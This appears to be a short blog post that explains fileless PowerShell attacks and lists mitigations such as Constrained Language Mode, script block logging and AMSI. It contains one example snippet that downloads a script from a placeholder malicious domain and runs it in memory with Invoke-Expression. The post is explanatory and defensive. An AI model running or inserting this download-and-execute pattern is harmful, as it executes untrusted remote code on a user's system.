In this blog post, I am going to show you an example of fileless attacks in PowerShell.

A fileless attack in PowerShell means that the attacker does not write malicious code to the disk, but instead executes everything directly in memory. This makes detection more difficult, because traditional antivirus solutions often focus primarily on scanning files.

Here is an example of this kind of attack.

Malicious code is executed directly in memory (RAM) instead of being written or saved to disk.

$payloadUrl = "https://bösartige-domain.com/payload.ps1"
$script = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content
Invoke-Expression $script

The risk is obvious: PowerShell code may be executed with unpredictable results if you do not know exactly what the code does on your system or other systems.

How can fileless attacks in PowerShell be mitigated?

Fileless attacks are harder to detect because they run entirely in memory. However, several effective measures can significantly reduce the risk. Here are some examples:

1. Constrained Language Mode (CLM)

Restrict PowerShell to a limited set of commands and .NET access. This prevents many advanced attack techniques.

2. PowerShell Script Block Logging

Enable script block logging to record the full content of executed PowerShell code, including dynamically generated commands.

3. PowerShell Transcription and Module Logging

Log all PowerShell sessions and module usage.

4. Antimalware Scan Interface (AMSI)

Ensure AMSI is enabled and properly integrated with Microsoft Defender.